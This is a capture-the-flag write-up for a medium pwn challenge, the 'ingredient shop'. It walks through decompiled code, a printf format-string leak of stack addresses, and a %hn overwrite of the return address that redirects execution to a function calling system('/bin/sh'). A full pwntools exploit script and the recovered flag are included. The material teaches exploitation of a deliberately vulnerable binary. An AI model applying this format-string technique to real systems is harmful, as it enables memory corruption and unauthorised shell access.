Difficulty: Medium
Author: Migsej
Brunnerne buys their ingredients from a very sketchy shop. I think they may have included an extra function by mistake.
Decompiled via Ghidra:
void main(void)
{
do {
get_input();
} while( true );
}
void get_input(void)
{
int iVar1;
long in_FS_OFFSET;
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Welcome to the Brunnerne ingredient shop.");
puts("0) Butter");
puts("1) Sugar");
puts("2) Flour");
puts("3) exit");
fgets(local_118,0x100,stdin);
puts("here is your choice");
printf(local_118);
puts("");
iVar1 = atoi(local_118);
if (iVar1 < 1) {
iVar1 = -iVar1;
}
if (iVar1 == 3) {
exit_program();
goto code_r0x00101332;
}
if (iVar1 < 4) {
if (iVar1 == 2) {
flour();
goto code_r0x00101332;
}
if (iVar1 < 3) {
if (iVar1 == 0) {
butter();
goto code_r0x00101332;
}
if (iVar1 == 1) {
sugar();
goto code_r0x00101332;
}
}
}
puts("Invalid choice");
code_r0x00101332:
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
void print_flag(void)
{
system("/bin/sh");
return;
}
There is a printf vulerability:
char local_118 [264];
fgets(local_118,0x100,stdin);
puts("here is your choice");
printf(local_118);
We can use printf to override return address to print_flag
.
First step, we need to recover data on the stack:
p.sendline(b"%lx," * 50)
Response:
55fa746ed2a0,0,7f4675aa28e0,0,
0,2400000,2,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
a,0,0,0,
0,0,0,0,
7752254b33b4d400,7ffdb9c8b7b0,55fa682f8351,1,
7f46758e4ca8,7ffdb9c8b8b0,55fa682f8348,1682f7040,
7ffdb9c8b8c8,7ffdb9c8b8c8,
We can see:
2c786c252c786c25
: our %lx,%lx,
string in hex7ffdb9c8b7b0
is the saved rbp55fa682f8351
is the saved return addressAccording to Ghidra, the expected return address is 0x1351
:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined <UNASSIGNED> <RETURN>
main XREF[4]: Entry Point(*),
_start:001010c4(*), 00102110,
00102264(*)
00101348 55 PUSH RBP
00101349 48 89 e5 MOV RBP,RSP
LAB_0010134c XREF[1]: 00101351(j)
0010134c e8 ae fe CALL get_input undefined get_input()
ff ff
00101351 eb f9 JMP LAB_0010134c
So we know that the process base is 0x55fa682f8351 - 0x1351
. We want to override this to print_flag
, which is process base + 0x1199
.
Where is it stored? From the prologue of get_input
and main
:
**************************************************************
* FUNCTION *
**************************************************************
undefined main()
undefined <UNASSIGNED> <RETURN>
main XREF[4]: Entry Point(*),
_start:001010c4(*), 00102110,
00102264(*)
00101348 55 PUSH RBP
00101349 48 89 e5 MOV RBP,RSP
LAB_0010134c XREF[1]: 00101351(j)
0010134c e8 ae fe CALL get_input undefined get_input()
ff ff
00101351 eb f9 JMP LAB_0010134c
**************************************************************
* FUNCTION *
**************************************************************
undefined get_input()
undefined <UNASSIGNED> <RETURN>
undefined8 Stack[-0x10]:8 local_10 XREF[2]: 00101213(W),
00101332(R)
undefined Stack[-0x118 local_118 XREF[3]: 0010126b(*),
0010128e(*),
001012b1(*)
undefined4 Stack[-0x11c local_11c XREF[7]: 001012c7(W),
001012cd(R),
001012d6(R),
001012df(R),
001012e8(R),
001012f1(R),
001012fa(R)
get_input XREF[4]: Entry Point(*), main:0010134c(c),
00102108, 00102244(*)
001011ff 55 PUSH RBP
00101200 48 89 e5 MOV RBP,RSP
The saved rbp minus 8 points to return address. So we want to write data to rbp-8 to override the return address.
Relevant code:
short = print_flag & 0xffff
target = rbp - 8
# write short to target
p.sendline(f"%{short:05}c%10$hnAAA".encode() + p64(target))
We write the lowest 16 bits of print_flag
to rbp-8
via:
%{short:05}c
: print characters of length short
, which equals to print_flag & 0xffff
%10$hn
: write the printed character count as 16-bit integer to the 10th parameterAAA
: padding to make p64(target)
goes to 10th parameterp64(target)
: saves the target address in the 10th parameterHow do we know it is the 10th parameter? Previously, the output was:
55fa746ed2a0,0,7f4675aa28e0,0,
0,2400000,2,2c786c252c786c25,
2c786c252c786c25,2c786c252c786c25
Our format strings starts at the 8th parameter. Now, the parameter looks like:
55fa746ed2a0,0,7f4675aa28e0,0,
0,2400000,2,hex of "%{short:05}c%",
hex of "10$hnAAA",p64(target)
So p64(target)
becomes the 10-th parameter. Printf will write print_flag & 0xffff
to rbp-8
, which belongs to the return address.
However, it does not work due to unaligned stack and it crashes in system("/bin/sh")
. We can jump over PUSH RBP
to fix it:
**************************************************************
* FUNCTION *
**************************************************************
undefined print_flag()
undefined <UNASSIGNED> <RETURN>
print_flag XREF[3]: Entry Point(*), 001020e0,
001021a8(*)
00101199 55 PUSH RBP
0010119a 48 89 e5 MOV RBP,RSP
0010119d 48 8d 05 LEA RAX,[s_/bin/sh_00102008] = "/bin/sh"
64 0e 00 00
001011a4 48 89 c7 MOV RDI=>s_/bin/sh_00102008,RAX = "/bin/sh"
001011a7 e8 a4 fe CALL <EXTERNAL>::system int system(char * __command)
ff ff
001011ac 90 NOP
001011ad 5d POP RBP
001011ae c3 RET
So we need to jump to print_flag + 1
, not print_flag
.
The whole attack script:
from pwn import *
e = ELF("./shop")
p = remote("the-ingredient-shop-a2f5979a5fee57ae.challs.brunnerne.xyz", 443, ssl=True)
# p = e.process()
context.binary = e
context.terminal = ["tmux", "split-w", "-h"]
context(arch="amd64", os="linux", log_level="debug")
# gdb.attach(p)
# pause()
p.recvuntil("shop")
p.sendline(b"%lx," * 50)
recv = p.recvuntil("butter").splitlines()[-3]
rbp = int(recv.split(b",")[41], 16)
print("rbp", hex(rbp))
addr = int(recv.split(b",")[42], 16)
print("return address", hex(addr))
base = addr - 0x1351
print("proc base", hex(base))
print_flag = base + e.symbols["print_flag"]
print("print_flag", hex(print_flag))
p.recvuntil("shop")
short = (print_flag + 0x1) & 0xffff
target = rbp - 8
# write short to target
p.sendline(f"%{short:05}c%10$hnAAA".encode() + p64(target))
p.interactive()
After we get the shell, the flag is found at /flag.txt
: brunner{these_people_need_to_get_better_at_security}
.
Credits to @Rosayxy.